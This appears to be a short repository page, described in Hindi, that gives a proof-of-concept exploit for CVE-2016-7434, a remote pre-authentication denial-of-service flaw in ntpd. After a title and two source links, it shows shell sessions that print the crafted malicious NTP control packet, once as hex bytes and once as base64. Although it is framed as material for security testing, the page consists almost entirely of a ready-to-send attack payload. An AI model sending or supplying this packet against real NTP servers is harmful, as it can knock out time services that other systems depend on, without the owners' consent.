shekkbuilder/cve-2016-7434सीवीई-2016-7434 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो ntpd में एक रिमोट प्री-ऑथेंटिकेशन डिनायल-ऑफ-सर्विस कमजोरी है। इसमें सुरक्षा परीक्षण के लिए एक्सप्लॉइट कोड और तकनीकी संदर्भ शामिल हैं।
CVE-2016-7434 ntpd रिमोट प्री-ऑथ डिनायल ऑफ सर्विस PoC/जानकारी
स्रोत:
http://dumpco.re/cve-2016-7434/
https://www.exploit-db.com/exploits/40806/
root@nop:~/code/CVE-2016-7434# echo -e "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"
6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP
root@nop:~/code/CVE-2016-7434# echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" |base64 -d
6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP
